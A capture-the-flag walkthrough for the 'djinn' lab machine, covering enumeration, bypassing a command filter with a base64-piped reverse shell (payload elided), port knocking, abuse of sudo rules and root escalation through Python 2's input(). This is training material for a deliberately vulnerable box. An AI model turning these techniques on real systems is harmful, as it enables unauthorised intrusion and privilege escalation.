Objectives
Capture user.txt and root.txt flags
Steps
Enumeration
First of all, we run a full portscan on the machine with nmap
1
2
3
4
5
6
7
8
9
Nmap scan report for <IP>
Host is up (0.064s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp filtered ssh
1337/tcp open waste?
7331/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+)
Service Info: OS: Unix
FTP
We see that there is a FTP server running
After logging in as “Anonymous” we can see few files:
1
2
3
-rw-r--r-- 1 0 0 11 Oct 20 23:54 creds.txt
-rw-r--r-- 1 0 0 128 Oct 21 00:23 game.txt
-rw-r--r-- 1 0 0 113 Oct 21 00:23 message.txt
creds.txt
1
nitu:<REDACTED>
game.txt
1
2
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
message.txt
1
2
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
OSINT
The “@” could be a sign of a username. A quick check on google/duckduckgo gives us a GitHub profile. There is an interesting note pinned to the profile:
1
2
3
4
5
6
7
8
9
I am so sick and tired of @mzfr telling me to keep my stuff secure, I mean who the hell is going to hack me?
No one knows me, I got nothing to lose. But still I don't want him bugging around me shouting things like "stay paranoid, stay happy".
It's hard to remember things so I'm simply write it down:
1. Always use pass greater the 8 digits and it should have alphanumeric values.
2. Always keep the development stuff in dev folder.
3. Do not write down your credentials in some file.
4. Use password manager(I think I should do that)
This tells us that:
- The password has more than 8 characters (the one from creds.txt can be dismissed)
- The password will not be in any file
HTTP
There is an http server on the machine on port 7331 with a pretty empty page containing only “Let’s see how good your are.”, empty links and template creator references.
Nothing interesting here so let’s scan the server for directories
1
2
3
# Command: gobuster dir -u http://<IP>:7331/ -w ../SecLists/Discovery/Web-Content/raft-medium-directories.txt
/wish (Status: 200)
/genie (Status: 200)
The genie dir shows us a fancy 403 site and a barely readable “It’s not that hard” behind the graphics
The wish directory shows us some kind of form with the parameter named “cmd”
Submitting a request with “ls” redirects us to the genie page with a suspicious query:
1
?name=app.py%0Aapp.pyc%0Astatic%0Atemplates%0A
and the command result in the same place the “I’s not that hard” text would be.
Trying to run “cat app.py”, “cat app.pyc” or “cat /etc/passwd” gives us a weird result:
1
Wrong choice of words
This tells us there is probably some kind of a filter that checks our command before executing it with “cat” being one of the keywords. After further tweaking there are also some blacklisted characters like “/”, “$” and “.”
Let’s try to bypass the check with base64. We can encode a CLI reverse shell and try to execute it with the help of other commands:
1
echo "<OUR_PAYLOAD>" | base64 -d | sh
Reverse Shell
Now that we have a reverse shell let’s look around the filesystem to gather some information
1
2
3
www-data@djinn:/opt/80$ ls /home
nitish
sam
We can see that there is another user called “sam” but we can’t access his home folder, so let’s try to get info from the other user:
1
2
3
4
5
6
7
8
9
10
www-data@djinn:/opt/80$ ls -al /home/nitish/
total 32
drwxr-xr-x 5 nitish nitish 4096 Nov 12 17:29 .
drwxr-xr-x 4 root root 4096 Nov 14 19:50 ..
-rw------- 1 root root 130 Nov 12 17:16 .bash_history
-rw-r--r-- 1 nitish nitish 3771 Nov 11 20:17 .bashrc
drwx------ 2 nitish nitish 4096 Nov 11 19:31 .cache
drwxr-xr-x 2 nitish nitish 4096 Oct 21 00:29 .dev
drwx------ 3 nitish nitish 4096 Nov 11 19:31 .gnupg
-rw-r----- 1 nitish nitish 33 Nov 12 17:29 user.txt
Now we that we have access to the home folder can grab the user flag. Besides the flag there is a .dev folder that is a bit unusual so let’s check it out
1
2
www-data@djinn:/opt/80$ ls /home/nitish/.dev/
creds.txt
There is a file called creds.txt that contains - you guessed it - credentials:
1
2
www-data@djinn:/opt/80$ cat /home/nitish/.dev/creds.txt
nitish:<REDACTED>
After trying to log in via ssh with these credentials we see that the port is blocked.
The game
The “game.txt” file mentioned a “game” on port 1337 so let’s check it out as it may contain something to help us progress.
After connecting to it with nc we see a banner, the task and a prompt:
1
2
3
4
5
6
7
8
9
10
11
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(5, '*', 6)
>
After doing around 20 of these riddles it is quite obvious that a script will do it in a faster and more reliable way so let’s do that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from socket import socket
import math
import time
host = "<IP>"
port = 1337
sock = socket()
sock.connect((host, port))
time.sleep(1)
while True:
# time.sleep(1) # slowing it down because of my internet connection
recieved = sock.recv(1024)
print(recieved.decode('utf-8'))
msg = recieved.split(b'\n')[-2:]
answer = eval(msg[0].decode('utf-8').replace("(", "").replace(")", "").replace("'", "").replace(",", ""))
print(msg[0].decode('utf-8') + ": " + str(answer))
sock.send((str(answer) + "\n").encode())
After 1000 questions answered we get our gift:
1
2
3
Here is your gift, I hope you know what to do with it:
1356, 6784, 3409
It looks like a port sequence to knock at so let’s try to do it and open an ssh connection immediately after that
1
knock 1356 6784 3409 && ssh nitish@<IP>
Shell (nitish)
We finally have a stable shell via ssh!
After trying several commands and running linpeas we see that nitish is able to execute one command with sudo as “sam”:
1
2
3
4
5
6
nitish@djinn:/home$ sudo -l
Matching Defaults entries for nitish on djinn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nitish may run the following commands on djinn:
(sam) NOPASSWD: /usr/bin/genie
After running “genie -h” we see that this is some kind of a custom binary for this box
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nitish@djinn:/home$ genie -h
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish
I know you've came to me bearing wishes in mind. So go ahead make your wishes.
positional arguments:
wish Enter your wish
optional arguments:
-h, --help show this help message and exit
-g, --god pass the wish to god
-p SHELL, --shell SHELL
Gives you shell
-e EXEC, --exec EXEC execute command
Most of the commands are blocked so after a bit of investigating there is a hidden “-cmd” parameter that allows us to bypass the check:
1
2
3
4
5
nitish@djinn:/home$ sudo -u sam genie -cmd -e /bin/bash 1
my man!!
$ whoami
sam
$
Shell (sam)
Now we can finally check sam’s home directory
1
2
3
4
5
6
7
8
9
10
11
12
sam@djinn:/home/sam$ ls -al
total 36
drwxr-x--- 4 sam sam 4096 Nov 14 21:11 .
drwxr-xr-x 4 root root 4096 Nov 14 19:50 ..
-rw------- 1 root root 417 Nov 14 20:59 .bash_history
-rw-r--r-- 1 root root 220 Oct 20 23:33 .bash_logout
-rw-r--r-- 1 sam sam 3771 Oct 20 23:33 .bashrc
drwx------ 2 sam sam 4096 Nov 11 19:28 .cache
drwx------ 3 sam sam 4096 Oct 20 23:36 .gnupg
-rw-r--r-- 1 sam sam 807 Oct 20 23:33 .profile
-rw-r--r-- 1 sam sam 1749 Nov 7 18:44 .pyc
-rw-r--r-- 1 sam sam 0 Nov 7 20:20 .sudo_as_admin_successful
The only interesting file here is the “.pyc” file but we’ll get to it in a second.
There is only one command that sam can run as sudo without a password which we don’t have
1
2
3
sam@djinn:/home/sam$ sudo -l
User sam may run the following commands on djinn:
(root) NOPASSWD: /root/lago
We can’t access this file without sudo but after running it it gives us a menu:
1
2
3
4
5
6
7
sam@djinn:/home/sam$ sudo /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:
Number 1 returns “Working on it!!”
Number 2 makes us guess a number
Number 3 “allows” us to read a file but tells us that user root cannot read a file or exits with “Slow clap for this hacker right here”
Number 4 returns “work your ass off!!”
Without any obvious things to do let’s check out the “.pyc” file that I mentioned earlier. It’s a compiled python file which - from what it looks like - is the same file as the lago executable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
else:
if op == 2:
guessit()
else:
if op == 3:
readfiles()
else:
if op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
By reading the code we learn that:
- The read file function is fake
- We can bypass the guessit function by utilizing a vulnerability in python2.7’s input function that allows us to pass variable names
Let’s try to exploit this vuln:
1
2
3
4
5
6
7
8
9
10
11
sam@djinn:/home/sam$ sudo /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:2
Choose a number between 1 to 100:
Enter your number: num
# whoami
root
Shell (root)
Now that we have a root shell let’s get that root flag from /root
Finally we have a flag in “proof.sh” file so let’s run it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_ _ _ _ _
/ \ _ __ ___ __ _ ___(_)_ __ __ _| | | |
/ _ \ | '_ ` _ \ / _` |_ / | '_ \ / _` | | | |
/ ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/ \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
|___/
djinn pwned...
__________________________________________________________________________
Proof: <REDACTED>
Path: /root
Date: recently :D
Whoami: root
__________________________________________________________________________
By @0xmzfr
Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)
Thanks for reading, hope you learned something :)